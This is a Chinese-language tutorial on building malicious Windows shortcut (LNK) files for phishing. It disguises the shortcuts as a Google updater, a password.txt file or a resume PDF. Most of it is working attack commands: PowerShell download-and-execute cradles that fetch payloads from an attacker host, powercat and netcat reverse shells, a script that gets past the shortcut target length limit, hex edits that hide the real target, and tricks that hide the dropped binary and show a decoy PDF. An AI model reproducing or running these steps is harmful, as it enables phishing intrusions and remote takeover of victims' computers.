.LNK文件是一种Windows文件类型,通常称为快捷方式,在计算机上看到并使用过它们,以便我们轻松地直接从桌面启动。
LNK 文件的例子:双击如下图所示的google chrome图标来打开google chrome浏览器。
那么接下来考虑的是如何利用快捷方式加载恶意程序文件,这里还是以google chrome为例,查看快捷方式的属性,目标:"C:\Program Files\Google\Chrome\Application\chrome.exe
目标指向一个可执行文件,用户在双击快捷方式后,则执行目标指向的exe文件,其本质还是执行指向的文件或命令。
LNK攻击通常涉及使用一些 LOLBINS( Living Off The Land Binaries 离地攻击二进制文件,和无文件落地很像)来下载和执行下载一个恶意软件。也可以是执行cmd和powershell等命令或执行 mshta.exe 和 regsrv32.exe等文件(包括但不限于:owershell.exe、bitsadmin.exe、certutil.exe、psexec.exe、wmic.exe、mshta.exe、mofcomp.exe、cmstp.exe、windbg.exe、cdb.exe、msbuild.exe、csc.exe)。
新建一个快捷方式
对象位置输入cmd(powershell或calc都行,等会目标得换)
下一步
点击“完成”,这时候桌面上多了一个cmd的快捷方式
右击这个快捷方式,属性->常规
将名称改成一个比较容易迷惑人的名称,这里改成“Google Update Client”
快捷方式选项卡,更改图标
在搜索框中输入:%SystemRoot%\System32\SHELL32.dll,(还有一个图标更换路径:%SystemRoot%\\System32\\imageres.dll)回车,即可选择图标
选择符合名称的图标,点击确认即可
攻击机(实战中一般为公网vps)起一个web服务,这里用python
python -m http.server --bind=192.168.0.101 8888
然后在web的根目录下,新建一个ps1文件
这里命名为main.ps1:
(new-object System.Net.WebClient).DownloadFile('http://192.168.0.101:8888/mytest.exe','C:\Users\Public\Downloads\mytest.exe')
cmd /c C:\Users\Public\Downloads\mytest.exe
(paylaod功能:第一个命令从192.168.0.101:8888下载mytest.exe到C:\Users\Public\Downloads\文件夹下,第二个命令是执行C:\Users\Public\Downloads\文件夹下的mytest.exe)
然后在新建的Google Update Client快捷方式的目标中输入:
powershell.exe -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101:8888/main.ps1');main.ps1"(这里解释下上面的payload的功能,下载从192.168.0.101:8888下载main.ps1,然后执行main.ps1文件)
这时候双击快捷方式,就从web服务上下载mytest.exe到C:\Users\Public\Downloads文件夹下,然后执行mytest.exe
mytest.exe下载到执行文件夹下
已经上线了
Tips:这里需要注意lnk文件的目标不能直接访问(下载)exe文件并执行它
将目标改成:
powershell.exe -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101:8888/mytest.exe');mytest.exe"
双击lnk文件后,确实访问了web的mytest.exe文件
但是cs没有收到shell
那么确实只能通过访问能在目标执行的ps1或bat等脚本来间接下载木马然后执行它。
既然提到了执行命令的路径,这里需要提醒一下,其实使用命令的相对路径会好一些,攻击者所使用的命令路径不一定跟被攻击者的路径一致,而写入lnk文件会自动变成攻击者命令所在的绝对路径,如:cmd.exe会被填充成:C:\Windows\System32\cmd.exe,那么不如直接设置成相对路径
“%SystemRoot%\system32\cmd.exe(或%windir%/System32/cmd.exe)”
还有%ComSpec%(环境变量)可是可以代替C:\Windows\System32\cmd.exe
或者截住一些ps脚本通过powershell的执行反弹shell
这里用的是
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
因为这个url需要挂梯子,所以将powercat.ps1下载到本地
攻击机在powercat.ps1所在文件夹起一个简单的web服务
python -m http.server --bind=192.168.0.104 8888
lnk的目标设置为:
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.104:8888/powercat.ps1');powercat -c 192.168.0.104 -p 6666 -e cmd
点击“确认”后,双击“Google Update Client”快捷方式(被攻击方会弹窗),收到shell
其他相似的利用方式也有很多,请参考“反弹shell方式总结windows篇.docx”
先生成一个快捷方式,如:cmd(后面目标会改)
生成后,先更改图标
选择“文本文档”图标
点击确认后,快捷方式的图标变成文本文档了,然后将快捷方式命名为“password.txt”
新建文档“李云龙-简历-渗透测试工程师.docx”,设置密码:Test@1369
再打开“李云龙-简历-渗透测试工程师.docx”就需要密码了
现在回到快捷方式,修改目标为:cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt) & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.1.105:8088/nc.exe & .\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)
(Tips:这里说明下上面的命令,执行快捷方式文件后,会将“Test@1369”写入新生成的password.txt文件中,然后打开password.txt文件,接下来会从192.168.1.105:8088上下载nc.exe,并执行反弹shell操作)
攻击端在nc所在目录下用python起一个web服务
python -m http.server --bind=192.168.1.105 8088
攻击端监听8888端口
这里将lnk文件和简历word文件放在一个文件夹内,命名为:李云龙-简历-渗透测试工程师
添加到压缩包(还可以利用自解压运行,这里暂且不表)
将此压缩包丢虚拟机,被攻击者打开简历word文档,发现加密了
这时候被攻击者就会打开名为password.txt的lnk文件,去查看密码,txt
文档被打开,显示密码
同一时间,从攻击端下载nc
下载后执行nc反弹shell命令,攻击端收到反弹shell
这里为了更符合实战钓鱼将lnk文件目标处输入的命令进行修改
将下载的nc.exe文件放到D盘某个目录下,这里因为虚拟机只有C盘则放到C盘,C:\Users文件夹下(这里仅为举例,通过测试,好像这个文件夹下如果不是管理员账户是没有修改权限,也就是写入不了文件的),打开password.txt文本文件后,删除password.txt.lnk文件
cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)
但是这样就超出“目标”的长度限制了,长度限制为260(小于)
上述payload放入lnk文件 的目标后,自动截断成如下:
C:\WINDOWS\system32\cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\sys
长度为259,且相关的系统命令会自动填充绝对路径,如:cmd.exe会填充为C:\WINDOWS\system32\cmd.exe;
powershell.exe会填充为C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
先将要执行的命令放入test.txt文件中
/c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)
利用powershell来突破,代码如下:
$file = Get-Content ".\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(".\password.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,70"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
第一行就是读取test.txt中的内容
第三行是创建一个名为password.txt的lnk文件
第四行设置lnk文件的目标为%SystemRoot%\system32\cmd.exe(设置成%windir%/System32/cmd.exe也可)
第5行设置lnk文件的图标为文本文档的图标(最后的70表示文本文档图标,修改数字则设置相应图标)
第六行是添加值到lnk文件的目标(这里就是突破目标长度的限制的关键代码)
第七行就是保存(执行保存操作才会新建上述功能的lnk文件)
生成了password.txt.lnk文件
查看lnk文件的属性,发现填充的空白,写入的命令在空白文件之后,这样也可以迷惑被攻击者
将“目标”框内的光标拉到输入框的最左边,才能看到cmd.exe
现在起web服务
python -m http.server --bind=192.168.0.102 8088
监听端口
模拟被攻击者解压简历压缩文件后打开password.txt.lnk
password.txt文件被新建且被打开,同时lnk文件被删除
Web服务收到请求
收到shell
使用010edit打开lnk文件sExtraData字段的EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode可以看到调用的是cmd.exe
这里将EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode中的cmd.exe换成其它不存在的exe文件名,这样可以很好的迷惑被攻击者(还有一个思路可以换成危害不大的exe文件名,如:adobe.exe)
这里换成waiting.exe
保存后,发现lnk文件的目标已经被修改
双击lnk文件如果运行出错,那么修改sLinkTargetIDList字段的sIDList的值为cmd.exe(在不同场景中修改成相应的能运行的文件)
这里需要注意,在做完lnk文件的伪装操作后,一定要在其他电脑上进行测试,双击lnk文件是否会出错,在测试时发现,在攻击端(生成lnk文件的电脑上)修改目标的执行文件名为不存在的文件名时(系统目录不存在),会正常执行,在被钓鱼端执行依然会报错显示文件不存在
怎么解决这个问题呢,经过测试,在被钓鱼端运行一次报文件不存在后,在被钓鱼端用010edit修改lnk文件的sLinkTargetIDList字段的sIDList的值的ExtraDataBlock的值设置成cmd.exe就可以正常执行了
保存修改后,将此文件丢到另一个被钓鱼端运行,发现没有报错了,且目标的执行文件名改成了waiting.exe,且新建password.txt和打开它
收到反弹shell
所以真实钓鱼中,一定要在另一台电脑上(虚拟机也可以)运行自己做lnk文件,报错,就在另一台电脑上按上述进行修改
在目录下选择查看隐藏文件仍无法查看(在cmd下使用dir命令依然查看不了文件和文件夹,但是使用everything这类文件搜索工具依然可以搜索到隐藏文件和文件夹)
命令行输入:attrib +s +h +r 要隐藏的文件
attrib +s +h +r(不指定文件,则隐藏当前文件夹下所有文件)
未执行命令前
执行命令后,sigthief.py在文件夹下打开“隐藏的项目”看不到,在命令行也看不到(文件个数在命令行下都减少了一个)
但是sigthief.py依然可以正常使用
输入:attrib -s -h -r sigthief.py,即可解除隐藏
attrib -s -h –r(不指定文件,则解除当前文件夹内所有隐藏)
在实际钓鱼中,有些文件夹确实需要权限,或者指定的目录不存在(相对路径如果../这种形式超出当前盘符的话就会保存失败),当前文件夹是比较靠谱的(相对路径),但是很容易发现,这时候就可以将其隐藏
思路就是将下载后的exe文件进行隐藏
优化后的payload如下:
cmd /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.0.102:8088/nc.exe & attrib +s +h +r nc.exe & .\nc.exe 192.168.0.102 8888 -e c:\windows\system32\cmd.exe)
使用powershell脚本突破lnk文件长度,生成了password.txt的lnk文件
然后按照优化二将lnk文件利用010edit进行修改
现在模拟,钓鱼,解压简历压缩包后,被攻击者加入查看lnk文件的目标,看到是waiting.exe,根本不知道这是什么文件
然后双击lnk文件,nc文件隐藏了,且通过命令行也查看不到
收到反弹shell
取消隐藏nc文件attrib -s -h –r
假设将lnk文件伪造成pdf或文档类型(doc、xlsx、ppt等),来钓鱼,那么如果文件夹查看方式为“详细信息”,可能就会看到lnk文件过小
将lnk文件的图标改成pdf样式,使用010edit打开,修改ICON_LOCATION的值为.\1.pdf,修改为相关后缀,系统即可⾃动关联到对应的打开方式
那么就将真正的相应伪造的文件跟lnk文件进行捆绑,双击lnk文件就会真正打开相应的文件,且lnk文件的大小也会变大(lnk文件跟捆绑的文件的大小之和)
copy /b 产品经理简历.pdf.lnk + 产品经理简历.pdf 产品经理简历.pdf.lnk
可以看到lnk文件的大小已经变大
双击lnk文件,打开计算器
但是上面的直接复制并不能打开真正的pdf文件,做如下几步即可
第一步
先用powershell代码生成lnk文件
$file = Get-Content ".\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(".\password.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,70"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
其目标值为:
/c findstr "JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUG" 产品经理简历.pdf.lnk>%TEMP%\test & certutil -decode %TEMP%\test %TEMP%\产品经理简历.pdf & start %TEMP%\产品经理简历.pdf & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.0.106:8088/nc.exe & attrib +s +h +r nc.exe & .\nc.exe 192.168.0.106 8888 -e c:\windows\system32\cmd.exe & exit)
Tips:
这里需要注意,要将test3.txt的编码格式设置为“ANSI编码”,不然将payload写入lnk目标后,中文字符会变成乱码,从而使真正的pdf文件不能解码打开
第二步
修改ICON_LOCATION的值为“.\ 1.pdf”
第三步
将要伪造的文件,如pdf的内容进行base64加密,然后使用copy命令进行捆绑
1、将pdf的内容进行base64加密
import os,base64
file = open("产品经理简历.pdf","rb")
text = file.read()
file.close()
data = base64.b64encode(text)
print(str(data).split("b'")[1].split("'")[0])
f = open("test","w")
f.write("\n"+str(data).split("b'")[1].split("'")[0])
f.close()
这里将pdf的内容base64编码后记得加个换行后保存到test文件中,不加换行保存到test文件跟lnk文件绑定后,使用findstr找到的base64编码后pdf内容前会有其它值
因此在base64值前加个换行就可以解决这个问题
2、将上图中的base64保存在test文件中,然后将lnk文件和test进行捆绑
copy /b 产品经理简历.pdf.lnk + test 产品经理简历.pdf.lnk
现在模拟被钓鱼者打开产品经理简历lnk文件, 会自动打开pdf简历
收到反弹shell